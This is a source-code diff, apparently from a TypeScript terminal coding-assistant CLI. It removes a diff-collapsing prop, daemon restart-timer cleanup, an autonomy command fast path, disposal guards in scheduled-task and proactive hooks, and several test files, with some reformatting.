// an early message evicts the very item you're looking at).
tokenCache.delete(key)
tokenCache.set(key, hit)
return hit
}
const tokens = marked.lexer(content)
if (tokenCache.size >= TOKEN_CACHE_MAX) {
// LRU-ish: drop oldest. Map preserves insertion order.
const first = tokenCache.keys().next().value
if (first !== undefined) tokenCache.delete(first)
}
tokenCache.set(key, tokens)
return tokens
}

View File

@@ -77,8 +77,6 @@ export type Props = {
lastThinkingBlockId?: string | null
/** UUID of the latest user bash output message (for auto-expanding) */
latestBashOutputUUID?: string | null
/** Whether to collapse diff display for this message */
shouldCollapseDiffs?: boolean
}
function MessageImpl({
@@ -101,7 +99,6 @@ function MessageImpl({
isUserContinuation = false,
lastThinkingBlockId,
latestBashOutputUUID,
shouldCollapseDiffs,
}: Props): React.ReactNode {
switch (message.type) {
case 'attachment':
@@ -184,7 +181,6 @@ function MessageImpl({
isUserContinuation={isUserContinuation}
lookups={lookups}
isTranscriptMode={isTranscriptMode}
shouldCollapseDiffs={shouldCollapseDiffs}
/>
))}
</Box>
@@ -297,7 +293,6 @@ function UserMessage({
isUserContinuation,
lookups,
isTranscriptMode,
shouldCollapseDiffs,
}: {
message: NormalizedUserMessage
addMargin: boolean
@@ -314,7 +309,6 @@ function UserMessage({
isUserContinuation: boolean
lookups: ReturnType<typeof buildMessageLookups>
isTranscriptMode: boolean
shouldCollapseDiffs?: boolean
}): React.ReactNode {
const { columns } = useTerminalSize()
switch (param.type) {
@@ -350,7 +344,6 @@ function UserMessage({
verbose={verbose}
width={columns - 5}
isTranscriptMode={isTranscriptMode}
shouldCollapseDiffs={shouldCollapseDiffs}
/>
)
default:

View File

@@ -55,7 +55,6 @@ export type Props = {
columns: number
isLoading: boolean
lookups: ReturnType<typeof buildMessageLookups>
shouldCollapseDiffs?: boolean
}
/**
@@ -142,7 +141,6 @@ function MessageRowImpl({
columns,
isLoading,
lookups,
shouldCollapseDiffs,
}: Props): React.ReactNode {
const isTranscriptMode = screen === 'transcript'
const isGrouped = msg.type === 'grouped_tool_use'
@@ -223,7 +221,6 @@ function MessageRowImpl({
isUserContinuation={isUserContinuation}
lastThinkingBlockId={lastThinkingBlockId}
latestBashOutputUUID={latestBashOutputUUID}
shouldCollapseDiffs={shouldCollapseDiffs}
/>
)
// OffscreenFreeze: the outer React.memo already bails for static messages,

View File

@@ -814,12 +814,6 @@ const MessagesImpl = ({
streamingToolUseIDs,
))
// Collapse diffs for messages beyond the latest N messages.
// verbose (ctrl+o) overrides and always shows full diffs.
const DIFF_COLLAPSE_DISTANCE = 0
const shouldCollapseDiffs =
renderableMessages.length - 1 - index > DIFF_COLLAPSE_DISTANCE
const k = messageKey(msg)
const row = (
<MessageRow
@@ -844,7 +838,6 @@ const MessagesImpl = ({
columns={columns}
isLoading={isLoading}
lookups={lookups}
shouldCollapseDiffs={shouldCollapseDiffs}
/>
)

View File

@@ -279,7 +279,6 @@ export function ModelPicker({
<Text color="subtle">
<EffortLevelIndicator effort={undefined} /> 1M context off
{focusedModelName ? ` for ${focusedModelName}` : ''}
<Text color="subtle"> · Space to toggle</Text>
</Text>
)}
</Box>

View File

@@ -15,6 +15,7 @@ import { normalizeApiKeyForConfig } from '../utils/authPortable.js'
import { getCustomApiKeyStatus } from '../utils/config.js'
import { env } from '../utils/env.js'
import { isRunningOnHomespace } from '../utils/envUtils.js'
import { gracefulShutdownSync } from '../utils/gracefulShutdown.js'
import { PreflightStep } from '../utils/preflightChecks.js'
import type { ThemeSetting } from '../utils/theme.js'
import { ApproveApiKey } from './ApproveApiKey.js'
@@ -74,7 +75,9 @@ export function Onboarding({ onDone }: Props): React.ReactNode {
goToNextStep()
}
const exitState = useExitOnCtrlCDWithKeybindings()
const exitState = useExitOnCtrlCDWithKeybindings(() =>
gracefulShutdownSync(0),
)
// Define all onboarding steps
const themeStep = (

View File

@@ -75,9 +75,12 @@ export function ThemePicker({
},
{ context: 'ThemePicker' },
)
// Always call the hook to follow React rules, but conditionally assign the exit handler
// When onboarding owns exit handling, keep this hook inactive so its
// ThemePicker-scoped keybindings don't swallow the parent Global handler.
const exitState = useExitOnCtrlCDWithKeybindings(
skipExitHandling ? () => {} : undefined,
undefined,
undefined,
!skipExitHandling,
)
const themeOptions: { label: string; value: ThemeSetting }[] = [

View File

@@ -27,7 +27,6 @@ type Props = {
verbose: boolean
width: number | string
isTranscriptMode?: boolean
shouldCollapseDiffs?: boolean
}
export function UserToolResultMessage({
@@ -40,7 +39,6 @@ export function UserToolResultMessage({
verbose,
width,
isTranscriptMode,
shouldCollapseDiffs,
}: Props): React.ReactNode {
const toolUse = useGetToolFromMessages(param.tool_use_id, tools, lookups)
if (!toolUse) {
@@ -98,7 +96,6 @@ export function UserToolResultMessage({
verbose={verbose}
width={width}
isTranscriptMode={isTranscriptMode}
shouldCollapseDiffs={shouldCollapseDiffs}
/>
)
}

View File

@@ -33,7 +33,6 @@ type Props = {
verbose: boolean
width: number | string
isTranscriptMode?: boolean
shouldCollapseDiffs?: boolean
}
export function UserToolSuccessMessage({
@@ -47,7 +46,6 @@ export function UserToolSuccessMessage({
verbose,
width,
isTranscriptMode,
shouldCollapseDiffs,
}: Props): React.ReactNode {
const [theme] = useTheme()
// Hook stays inside feature() ternary so external builds don't pay a
@@ -85,16 +83,12 @@ export function UserToolSuccessMessage({
}
const toolResult = parsedOutput?.data ?? message.toolUseResult
// Collapse diff display for old messages (verbose/ctrl+o overrides)
const effectiveStyle =
shouldCollapseDiffs && !verbose ? 'condensed' : style
const renderedMessage =
tool.renderToolResultMessage?.(
toolResult as never,
filterToolProgressMessages(progressMessagesForMessage),
{
style: effectiveStyle,
style,
theme,
tools,
verbose,

View File

@@ -30,7 +30,6 @@ interface WorkerState {
failureCount: number
parked: boolean
lastStartTime: number
restartTimer: ReturnType<typeof setTimeout> | null
}
/**
@@ -242,7 +241,6 @@ async function runSupervisor(args: string[]): Promise<void> {
failureCount: 0,
parked: false,
lastStartTime: 0,
restartTimer: null,
},
]
@@ -263,10 +261,6 @@ async function runSupervisor(args: string[]): Promise<void> {
controller.abort()
removeDaemonState()
for (const w of workers) {
if (w.restartTimer) {
clearTimeout(w.restartTimer)
w.restartTimer = null
}
if (w.process && !w.process.killed) {
w.process.kill('SIGTERM')
}
@@ -294,30 +288,22 @@ async function runSupervisor(args: string[]): Promise<void> {
// Wait for all workers to exit
await Promise.all(
workers
.filter(w => w.process && w.process.exitCode === null)
.filter(w => w.process && !w.process.killed)
.map(
w =>
new Promise<void>(resolve => {
if (!w.process || w.process.exitCode !== null) {
if (!w.process) {
resolve()
return
}
let killTimer: ReturnType<typeof setTimeout> | null = null
w.process.on('exit', () => {
if (killTimer) {
clearTimeout(killTimer)
killTimer = null
}
resolve()
})
w.process.on('exit', () => resolve())
// Force kill after grace period
killTimer = setTimeout(() => {
if (w.process && w.process.exitCode === null) {
setTimeout(() => {
if (w.process && !w.process.killed) {
w.process.kill('SIGKILL')
}
resolve()
}, 30_000)
killTimer.unref?.()
}),
),
)
@@ -412,13 +398,11 @@ function spawnWorker(
`[daemon] worker '${worker.kind}' exited (code=${code}, signal=${sig}), restarting in ${worker.backoffMs}ms`,
)
worker.restartTimer = setTimeout(() => {
worker.restartTimer = null
setTimeout(() => {
if (!signal.aborted && !worker.parked) {
spawnWorker(worker, dir, config, signal)
}
}, worker.backoffMs)
worker.restartTimer.unref?.()
// Exponential backoff
worker.backoffMs = Math.min(

View File

@@ -255,29 +255,6 @@ async function main(): Promise<void> {
return
}
// Fast-path for `claude autonomy ...`: state inspection/management commands
// do not need the full interactive CLI bootstrap. The full Commander path
// imports main.tsx and runs root preAction initialization before the autonomy
// action; under coverage/CI that leaves unrelated handles around simple
// state-only subprocess calls.
if (args[0] === 'autonomy') {
profileCheckpoint('cli_autonomy_path')
const { getAutonomyCommandText } = await import(
'../cli/handlers/autonomy.js'
)
const text = await getAutonomyCommandText(args.slice(1).join(' '))
await new Promise<void>((resolve, reject) => {
process.stdout.write(`${text}\n`, error => {
if (error) {
reject(error)
return
}
resolve()
})
})
process.exit(0)
}
// Fast-path for `--bg`/`--background` shortcut → daemon bg.
if (
feature('BG_SESSIONS') &&
@@ -421,4 +398,4 @@ async function main(): Promise<void> {
}
// eslint-disable-next-line custom-rules/no-top-level-side-effects
await main()
void main()

View File

@@ -1,114 +0,0 @@
import { describe, expect, test } from 'bun:test'
/**
* Tests for the pendingPermissionHandlers cleanup pattern used in
* useReplBridge.tsx. The handlers Map tracks in-flight permission
* requests; the cleanup function must clear it on unmount to release
* closures that capture React state.
*
* The actual hook is deeply integrated with React/bridge lifecycle,
* so these tests validate the Map management pattern in isolation.
*/
type PermissionHandler = (response: { approved: boolean }) => void
function createPermissionHandlersMap() {
const handlers = new Map<string, PermissionHandler>()
return {
handlers,
onResponse(requestId: string, handler: PermissionHandler): () => void {
handlers.set(requestId, handler)
return () => {
handlers.delete(requestId)
}
},
handleResponse(requestId: string, response: { approved: boolean }): boolean {
const handler = handlers.get(requestId)
if (!handler) return false
handlers.delete(requestId)
handler(response)
return true
},
cleanup(): void {
handlers.clear()
},
size(): number {
return handlers.size
},
}
}
describe('pendingPermissionHandlers cleanup pattern', () => {
test('onResponse registers a handler', () => {
const map = createPermissionHandlersMap()
map.onResponse('req-1', () => {})
expect(map.size()).toBe(1)
})
test('onResponse returns a cancel function', () => {
const map = createPermissionHandlersMap()
const cancel = map.onResponse('req-1', () => {})
expect(map.size()).toBe(1)
cancel()
expect(map.size()).toBe(0)
})
test('handleResponse dispatches to handler and removes it', () => {
const map = createPermissionHandlersMap()
let received: { approved: boolean } | null = null
map.onResponse('req-1', (resp) => { received = resp })
const dispatched = map.handleResponse('req-1', { approved: true })
expect(dispatched).toBe(true)
expect(received as unknown as { approved: boolean }).toEqual({ approved: true })
expect(map.size()).toBe(0)
})
test('handleResponse returns false for unknown requestId', () => {
const map = createPermissionHandlersMap()
const dispatched = map.handleResponse('unknown', { approved: true })
expect(dispatched).toBe(false)
})
test('cleanup clears all registered handlers', () => {
const map = createPermissionHandlersMap()
map.onResponse('req-1', () => {})
map.onResponse('req-2', () => {})
map.onResponse('req-3', () => {})
expect(map.size()).toBe(3)
map.cleanup()
expect(map.size()).toBe(0)
})
test('handlers are not dispatched after cleanup', () => {
const map = createPermissionHandlersMap()
let called = false
map.onResponse('req-1', () => { called = true })
map.cleanup()
// Late-arriving response after cleanup should not find a handler
const dispatched = map.handleResponse('req-1', { approved: true })
expect(dispatched).toBe(false)
expect(called).toBe(false)
})
test('cancel function is a no-op after cleanup', () => {
const map = createPermissionHandlersMap()
const cancel = map.onResponse('req-1', () => {})
map.cleanup()
// Should not throw
expect(() => cancel()).not.toThrow()
})
test('cleanup can be called multiple times safely', () => {
const map = createPermissionHandlersMap()
map.onResponse('req-1', () => {})
map.cleanup()
map.cleanup()
map.cleanup()
expect(map.size()).toBe(0)
})
})

View File

@@ -1,107 +0,0 @@
import { afterEach, describe, expect, test } from 'bun:test'
import {
hasPermissionCallback,
processMailboxPermissionResponse,
registerPermissionCallback,
clearAllPendingCallbacks,
unregisterPermissionCallback,
} from '../../hooks/useSwarmPermissionPoller.js'
afterEach(() => {
clearAllPendingCallbacks()
})
describe('swarm permission poller registry', () => {
test('register and unregister callback', () => {
registerPermissionCallback({
requestId: 'req-1',
toolUseId: 'tool-1',
onAllow: () => {},
onReject: () => {},
})
expect(hasPermissionCallback('req-1')).toBe(true)
unregisterPermissionCallback('req-1')
expect(hasPermissionCallback('req-1')).toBe(false)
})
test('processMailboxPermissionResponse removes callback on approve', () => {
let approved = false
registerPermissionCallback({
requestId: 'req-2',
toolUseId: 'tool-2',
onAllow: () => { approved = true },
onReject: () => {},
})
const result = processMailboxPermissionResponse({
requestId: 'req-2',
decision: 'approved',
})
expect(result).toBe(true)
expect(approved).toBe(true)
// Callback is removed after processing
expect(hasPermissionCallback('req-2')).toBe(false)
})
test('processMailboxPermissionResponse removes callback on reject', () => {
let rejected = false
registerPermissionCallback({
requestId: 'req-3',
toolUseId: 'tool-3',
onAllow: () => {},
onReject: () => { rejected = true },
})
const result = processMailboxPermissionResponse({
requestId: 'req-3',
decision: 'rejected',
feedback: 'denied',
})
expect(result).toBe(true)
expect(rejected).toBe(true)
expect(hasPermissionCallback('req-3')).toBe(false)
})
test('processMailboxPermissionResponse returns false for unknown request', () => {
const result = processMailboxPermissionResponse({
requestId: 'unknown',
decision: 'approved',
})
expect(result).toBe(false)
})
test('resetPermissionCallbacks clears all callbacks', () => {
registerPermissionCallback({
requestId: 'req-a',
toolUseId: 'tool-a',
onAllow: () => {},
onReject: () => {},
})
registerPermissionCallback({
requestId: 'req-b',
toolUseId: 'tool-b',
onAllow: () => {},
onReject: () => {},
})
clearAllPendingCallbacks()
expect(hasPermissionCallback('req-a')).toBe(false)
expect(hasPermissionCallback('req-b')).toBe(false)
})
test('callback is removed BEFORE invoking handler (prevents re-entrant leak)', () => {
const order: string[] = []
registerPermissionCallback({
requestId: 'req-order',
toolUseId: 'tool-order',
onAllow: () => {
// During callback execution, the callback should already be removed
order.push('callback')
order.push(`has:${hasPermissionCallback('req-order')}`)
},
onReject: () => {},
})
processMailboxPermissionResponse({
requestId: 'req-order',
decision: 'approved',
})
expect(order).toEqual(['callback', 'has:false'])
})
})

View File

@@ -1,80 +0,0 @@
import { afterEach, beforeEach, describe, expect, test } from 'bun:test'
import {
resetStateForTests,
setCwdState,
setOriginalCwd,
setProjectRoot,
} from '../../bootstrap/state'
import { createScheduledTaskQueuedCommand } from '../useScheduledTasks'
import {
listAutonomyRuns,
markAutonomyRunCompleted,
} from '../../utils/autonomyRuns'
import { resetAutonomyAuthorityForTests } from '../../utils/autonomyAuthority'
import { cleanupTempDir, createTempDir } from '../../../tests/mocks/file-system'
let tempDir = ''
beforeEach(async () => {
tempDir = await createTempDir('scheduled-tasks-')
resetStateForTests()
resetAutonomyAuthorityForTests()
setOriginalCwd(tempDir)
setProjectRoot(tempDir)
setCwdState(tempDir)
})
afterEach(async () => {
resetStateForTests()
resetAutonomyAuthorityForTests()
if (tempDir) {
await cleanupTempDir(tempDir)
}
})
describe('createScheduledTaskQueuedCommand', () => {
function createCommandForTest(task: { id: string; prompt: string }) {
return createScheduledTaskQueuedCommand(task, {
rootDir: tempDir,
currentDir: tempDir,
})
}
test('skips a scheduled task when the same source already has an active run', async () => {
const task = {
id: 'cron-1',
prompt: '/loop review the repository',
}
const first = await createCommandForTest(task)
const second = await createCommandForTest(task)
const runs = await listAutonomyRuns(tempDir)
expect(first).not.toBeNull()
expect(second).toBeNull()
expect(runs).toHaveLength(1)
expect(runs[0]).toMatchObject({
trigger: 'scheduled-task',
status: 'queued',
sourceId: 'cron-1',
})
})
test('allows a scheduled task after the previous same-source run completes', async () => {
const task = {
id: 'cron-1',
prompt: '/loop review the repository',
}
const first = await createCommandForTest(task)
expect(first?.autonomy?.runId).toBeDefined()
await markAutonomyRunCompleted(first!.autonomy!.runId, tempDir, 100)
const second = await createCommandForTest(task)
const runs = await listAutonomyRuns(tempDir)
expect(second).not.toBeNull()
expect(runs).toHaveLength(2)
expect(runs.map(run => run.status).sort()).toEqual(['completed', 'queued'])
})
})

View File

@@ -10,18 +10,13 @@ import type { Message } from '../types/message.js'
import { getCwd } from '../utils/cwd.js'
import { getCronJitterConfig } from '../utils/cronJitterConfig.js'
import { createCronScheduler } from '../utils/cronScheduler.js'
import { removeCronTasks, type CronTask } from '../utils/cronTasks.js'
import {
createAutonomyQueuedPrompt,
createAutonomyQueuedPromptIfNoActiveSource,
markAutonomyRunCancelled,
markAutonomyRunFailed,
} from '../utils/autonomyRuns.js'
import { removeCronTasks } from '../utils/cronTasks.js'
import { createAutonomyQueuedPrompt } from '../utils/autonomyRuns.js'
import { markAutonomyRunFailed } from '../utils/autonomyRuns.js'
import { logForDebugging } from '../utils/debug.js'
import { enqueuePendingNotification } from '../utils/messageQueueManager.js'
import { createScheduledTaskFireMessage } from '../utils/messages.js'
import { WORKLOAD_CRON } from '../utils/workloadContext.js'
import type { QueuedCommand } from '../types/textInputTypes.js'
type Props = {
isLoading: boolean
@@ -37,32 +32,6 @@ type Props = {
setMessages: React.Dispatch<React.SetStateAction<Message[]>>
}
export async function createScheduledTaskQueuedCommand(
task: Pick<CronTask, 'id' | 'prompt'>,
options?: {
rootDir?: string
currentDir?: string
shouldCreate?: () => boolean
},
): Promise<QueuedCommand | null> {
const command = await createAutonomyQueuedPromptIfNoActiveSource({
basePrompt: task.prompt,
trigger: 'scheduled-task',
rootDir: options?.rootDir,
currentDir: options?.currentDir ?? getCwd(),
sourceId: task.id,
sourceLabel: task.prompt,
workload: WORKLOAD_CRON,
shouldCreate: options?.shouldCreate,
})
if (!command) {
logForDebugging(
`[ScheduledTasks] skipping ${task.id}: previous run still queued or running`,
)
}
return command
}
/**
* REPL wrapper for the cron scheduler. Mounts the scheduler once and tears
* it down on unmount. Fired prompts go into the command queue as 'later'
@@ -102,25 +71,16 @@ export function useScheduledTasks({
// forward isMeta, so their messages remain visible in the
// transcript. This is acceptable since normal mode is not the
// primary use case for scheduled tasks.
let disposed = false
const enqueueForLead = async (prompt: string) => {
const command = await createAutonomyQueuedPrompt({
basePrompt: prompt,
trigger: 'scheduled-task',
currentDir: getCwd(),
workload: WORKLOAD_CRON,
shouldCreate: () => !disposed,
})
if (!command) {
return
}
if (disposed) {
await markAutonomyRunCancelled(
command.autonomy!.runId,
command.autonomy!.rootDir,
)
return
}
enqueuePendingNotification(command)
}
@@ -130,12 +90,7 @@ export function useScheduledTasks({
// which is populated from disk at scheduler startup — this path only
// handles team-lead durable crons.
onFire: prompt => {
void enqueueForLead(prompt).catch(error =>
logForDebugging(
`[ScheduledTasks] failed to enqueue missed task prompt: ${error}`,
{ level: 'error' },
),
)
void enqueueForLead(prompt)
},
// Normal fires receive the full CronTask so we can route by agentId.
onFireTask: task => {
@@ -146,26 +101,22 @@ export function useScheduledTasks({
store.getState().tasks,
)
if (teammate && !isTerminalTaskStatus(teammate.status)) {
const command = await createScheduledTaskQueuedCommand(
task,
{ shouldCreate: () => !disposed },
)
const command = await createAutonomyQueuedPrompt({
basePrompt: task.prompt,
trigger: 'scheduled-task',
currentDir: getCwd(),
sourceId: task.id,
sourceLabel: task.prompt,
workload: WORKLOAD_CRON,
})
if (!command) {
return
}
if (disposed) {
await markAutonomyRunCancelled(
command.autonomy!.runId,
command.autonomy!.rootDir,
)
return
}
const injected = injectUserMessageToTeammate(
teammate.id,
command.value as string,
{
autonomyRunId: command.autonomy?.runId,
autonomyRootDir: command.autonomy?.rootDir,
origin: command.origin,
},
setAppState,
@@ -174,7 +125,6 @@ export function useScheduledTasks({
await markAutonomyRunFailed(
command.autonomy.runId,
`Teammate ${task.agentId} exited before the scheduled message could be delivered.`,
command.autonomy.rootDir,
)
}
return
@@ -189,32 +139,24 @@ export function useScheduledTasks({
return
}
const command = await createScheduledTaskQueuedCommand(
task,
{ shouldCreate: () => !disposed },
)
const command = await createAutonomyQueuedPrompt({
basePrompt: task.prompt,
trigger: 'scheduled-task',
currentDir: getCwd(),
sourceId: task.id,
sourceLabel: task.prompt,
workload: WORKLOAD_CRON,
})
if (!command) {
return
}
if (disposed) {
await markAutonomyRunCancelled(
command.autonomy!.runId,
command.autonomy!.rootDir,
)
return
}
const msg = createScheduledTaskFireMessage(
`Running scheduled task (${formatCronFireTime(new Date())})`,
)
setMessages(prev => [...prev, msg])
enqueuePendingNotification(command)
})().catch(error =>
logForDebugging(
`[ScheduledTasks] failed to enqueue task ${task.id}: ${error}`,
{ level: 'error' },
),
)
})()
},
isLoading: () => isLoadingRef.current,
assistantMode,
@@ -222,10 +164,7 @@ export function useScheduledTasks({
isKilled: () => !isKairosCronEnabled(),
})
scheduler.start()
return () => {
disposed = true
scheduler.stop()
}
return () => scheduler.stop()
// assistantMode is stable for the session lifetime; store/setAppState are
// stable refs from useSyncExternalStore; setMessages is a stable useCallback.
// eslint-disable-next-line react-hooks/exhaustive-deps

View File

@@ -6907,9 +6907,6 @@ async function logTenguInit({
allowDangerouslySkipPermissionsPassed,
thinkingType:
thinkingConfig.type as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
...(thinkingConfig.type === "enabled" && {
thinkingBudgetTokens: thinkingConfig.budgetTokens,
}),
...(systemPromptFlag && {
systemPromptFlag:
systemPromptFlag as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,

View File

@@ -9,9 +9,7 @@ import { useEffect, useRef } from 'react'
import type { QueuedCommand } from '../types/textInputTypes.js'
import { TICK_TAG } from '../constants/xml.js'
import { getCwd } from '../utils/cwd.js'
import { cancelQueuedAutonomyCommands } from '../utils/autonomyQueueLifecycle.js'
import { createProactiveAutonomyCommands } from '../utils/autonomyRuns.js'
import { logForDebugging } from '../utils/debug.js'
import {
isProactiveActive,
isProactivePaused,
@@ -40,8 +38,6 @@ export function useProactive(opts: UseProactiveOpts): void {
if (!isProactiveActive()) return
let timer: ReturnType<typeof setTimeout> | null = null
let disposed = false
let generating = false
function scheduleTick(): void {
const nextTs = Date.now() + TICK_INTERVAL_MS
@@ -70,51 +66,25 @@ export function useProactive(opts: UseProactiveOpts): void {
isLoading ||
isInPlanMode ||
hasActiveLocalJsxUI ||
queuedCommandsLength > 0 ||
generating
queuedCommandsLength > 0
) {
scheduleTick()
return
}
generating = true
void (async () => {
const commands = await createProactiveAutonomyCommands({
basePrompt: `<${TICK_TAG}>${new Date().toLocaleTimeString()}</${TICK_TAG}>`,
currentDir: getCwd(),
shouldCreate: () => !disposed,
})
if (disposed) {
await cancelQueuedAutonomyCommands({ commands })
return
}
const queuedCommands: QueuedCommand[] = []
try {
for (const command of commands) {
// Always queue proactive turns. This avoids races where the prompt
// is built asynchronously, a user turn starts meanwhile, and a
// direct-submit path would silently drop the autonomy turn after
// consuming its heartbeat due-state.
optsRef.current.onQueueTick(command)
queuedCommands.push(command)
}
} catch (error) {
await cancelQueuedAutonomyCommands({
commands: commands.filter(
command => !queuedCommands.includes(command),
),
})
throw error
for (const command of commands) {
// Always queue proactive turns. This avoids races where the prompt
// is built asynchronously, a user turn starts meanwhile, and a
// direct-submit path would silently drop the autonomy turn after
// consuming its heartbeat due-state.
optsRef.current.onQueueTick(command)
}
})()
.catch(error =>
logForDebugging(`[Proactive] failed to create tick: ${error}`, {
level: 'error',
}),
)
.finally(() => {
generating = false
})
// Schedule next tick
scheduleTick()
@@ -124,7 +94,6 @@ export function useProactive(opts: UseProactiveOpts): void {
scheduleTick()
return () => {
disposed = true
if (timer !== null) {
clearTimeout(timer)
timer = null

View File

@@ -71,16 +71,10 @@ const jobClassifier = feature('TEMPLATES')
: null
/* eslint-enable @typescript-eslint/no-require-imports */
import {
enqueue,
remove as removeFromQueue,
getCommandsByMaxPriority,
isSlashCommand,
} from './utils/messageQueueManager.js'
import {
type AutonomyTurnOutcome,
claimConsumableQueuedAutonomyCommands,
finalizeAutonomyCommandsForTurn,
} from './utils/autonomyQueueLifecycle.js'
import { notifyCommandLifecycle } from './utils/commandLifecycle.js'
import { headlessProfilerCheckpoint } from './utils/headlessProfiler.js'
import {
@@ -98,7 +92,6 @@ import { SLEEP_TOOL_NAME } from '@claude-code-best/builtin-tools/tools/SleepTool
import { executePostSamplingHooks } from './utils/hooks/postSamplingHooks.js'
import { executeStopFailureHooks } from './utils/hooks.js'
import type { QuerySource } from './constants/querySource.js'
import type { QueuedCommand } from './types/textInputTypes.js'
import { createDumpPromptsFetch } from './services/api/dumpPrompts.js'
import { StreamingToolExecutor } from './services/tools/StreamingToolExecutor.js'
import { queryCheckpoint } from './utils/queryProfiler.js'
@@ -118,11 +111,7 @@ import {
} from './bootstrap/state.js'
import { createBudgetTracker, checkTokenBudget } from './query/tokenBudget.js'
import { count } from './utils/array.js'
import {
createTrace,
endTrace,
isLangfuseEnabled,
} from './services/langfuse/index.js'
import { createTrace, endTrace, isLangfuseEnabled } from './services/langfuse/index.js'
import { getAPIProvider } from './utils/model/providers.js'
/* eslint-disable @typescript-eslint/no-require-imports */
@@ -140,11 +129,7 @@ function* yieldMissingToolResultBlocks(
) {
for (const assistantMessage of assistantMessages) {
// Extract all tool use blocks from this assistant message
const toolUseBlocks = (
Array.isArray(assistantMessage.message?.content)
? assistantMessage.message.content
: []
).filter(
const toolUseBlocks = (Array.isArray(assistantMessage.message?.content) ? assistantMessage.message.content : []).filter(
(content: { type: string }) => content.type === 'tool_use',
) as ToolUseBlock[]
@@ -196,33 +181,6 @@ function isWithheldMaxOutputTokens(
return msg?.type === 'assistant' && msg.apiError === 'max_output_tokens'
}
function getAutonomyTurnOutcome(params: {
terminal?: Terminal
thrownError?: unknown
}): AutonomyTurnOutcome {
if (params.thrownError !== undefined) {
return { type: 'failed', error: params.thrownError }
}
const terminal = params.terminal
const reason = terminal?.reason
switch (reason) {
case 'completed':
return { type: 'completed' }
case undefined:
case 'aborted_streaming':
case 'aborted_tools':
return { type: 'cancelled' }
case 'model_error':
return { type: 'failed', error: terminal.error }
default:
return {
type: 'failed',
message: `query ended without successful completion: ${reason}`,
}
}
}
export type QueryParams = {
messages: Message[]
systemPrompt: SystemPrompt
@@ -272,7 +230,6 @@ export async function* query(
Terminal
> {
const consumedCommandUuids: string[] = []
const consumedAutonomyCommands: QueuedCommand[] = []
// Create Langfuse trace for this query turn (no-op if not configured).
// When called as a sub-agent, langfuseTrace is already set by runAgent()
@@ -281,9 +238,8 @@ export async function* query(
logForDebugging(
`[query] ownsTrace=${ownsTrace} incoming langfuseTrace=${params.toolUseContext.langfuseTrace ? 'present' : 'null/undefined'} isLangfuseEnabled=${isLangfuseEnabled()}`,
)
const langfuseTrace =
params.toolUseContext.langfuseTrace ??
(isLangfuseEnabled()
const langfuseTrace = params.toolUseContext.langfuseTrace
?? (isLangfuseEnabled()
? createTrace({
sessionId: getSessionId(),
model: params.toolUseContext.options.mainLoopModel,
@@ -302,34 +258,9 @@ export async function* query(
: params
let terminal: Terminal | undefined
let didThrow = false
let thrownError: unknown
try {
terminal = yield* queryLoop(
paramsWithTrace,
consumedCommandUuids,
consumedAutonomyCommands,
)
} catch (error) {
didThrow = true
thrownError = error
throw error
terminal = yield* queryLoop(paramsWithTrace, consumedCommandUuids)
} finally {
await finalizeAutonomyCommandsForTurn({
commands: consumedAutonomyCommands,
outcome: getAutonomyTurnOutcome({
terminal,
...(didThrow ? { thrownError } : {}),
}),
priority: 'later',
})
.then(nextCommands => {
for (const command of nextCommands) {
enqueue(command)
}
})
.catch(logError)
// Only end the trace if we created it — sub-agents own their traces
if (ownsTrace) {
const isAborted =
@@ -352,7 +283,6 @@ export async function* query(
async function* queryLoop(
params: QueryParams,
consumedCommandUuids: string[],
consumedAutonomyCommands: QueuedCommand[],
): AsyncGenerator<
| StreamEvent
| RequestStartEvent
@@ -860,14 +790,7 @@ async function* queryLoop(
let yieldMessage: typeof message = message
if (message.type === 'assistant') {
const assistantMsg = message as AssistantMessage
const contentArr = Array.isArray(assistantMsg.message?.content)
? (assistantMsg.message.content as unknown as Array<{
type: string
input?: unknown
name?: string
[key: string]: unknown
}>)
: []
const contentArr = Array.isArray(assistantMsg.message?.content) ? assistantMsg.message.content as unknown as Array<{ type: string; input?: unknown; name?: string; [key: string]: unknown }> : []
let clonedContent: typeof contentArr | undefined
for (let i = 0; i < contentArr.length; i++) {
const block = contentArr[i]!
@@ -903,10 +826,7 @@ async function* queryLoop(
if (clonedContent) {
yieldMessage = {
...message,
message: {
...(assistantMsg.message ?? {}),
content: clonedContent,
},
message: { ...(assistantMsg.message ?? {}), content: clonedContent },
} as typeof message
}
}
@@ -952,11 +872,7 @@ async function* queryLoop(
const assistantMessage = message as AssistantMessage
assistantMessages.push(assistantMessage)
const msgToolUseBlocks = (
Array.isArray(assistantMessage.message?.content)
? assistantMessage.message.content
: []
).filter(
const msgToolUseBlocks = (Array.isArray(assistantMessage.message?.content) ? assistantMessage.message.content : []).filter(
(content: { type: string }) => content.type === 'tool_use',
) as ToolUseBlock[]
if (msgToolUseBlocks.length > 0) {
@@ -1089,10 +1005,7 @@ async function* queryLoop(
logEvent('tengu_query_error', {
assistantMessages: assistantMessages.length,
toolUses: assistantMessages.flatMap(_ =>
(Array.isArray(_.message?.content)
? (_.message.content as Array<{ type: string }>)
: []
).filter(content => content.type === 'tool_use'),
(Array.isArray(_.message?.content) ? _.message.content as Array<{ type: string }> : []).filter(content => content.type === 'tool_use'),
).length,
queryChainId: queryChainIdForAnalytics,
@@ -1394,10 +1307,7 @@ async function* queryLoop(
// error → hook blocking → retry → error → …
if (lastMessage?.isApiErrorMessage) {
void executeStopFailureHooks(lastMessage, toolUseContext)
return {
reason: 'model_error',
error: lastMessage.error ?? lastMessage.apiError ?? 'api_error',
}
return { reason: 'completed' }
}
const stopHookResult = yield* handleStopHooks(
@@ -1498,6 +1408,7 @@ async function* queryLoop(
queryCheckpoint('query_tool_execution_start')
if (streamingToolExecutor) {
logEvent('tengu_streaming_tool_execution_used', {
tool_count: toolUseBlocks.length,
@@ -1557,14 +1468,9 @@ async function* queryLoop(
const lastAssistantMessage = assistantMessages.at(-1)
let lastAssistantText: string | undefined
if (lastAssistantMessage) {
const textBlocks = (
Array.isArray(lastAssistantMessage.message?.content)
? (lastAssistantMessage.message.content as Array<{
type: string
text?: string
}>)
: []
).filter(block => block.type === 'text')
const textBlocks = (Array.isArray(lastAssistantMessage.message?.content) ? lastAssistantMessage.message.content as Array<{ type: string; text?: string }> : []).filter(
block => block.type === 'text',
)
if (textBlocks.length > 0) {
const lastTextBlock = textBlocks.at(-1)
if (lastTextBlock && 'text' in lastTextBlock) {
@@ -1716,32 +1622,12 @@ async function* queryLoop(
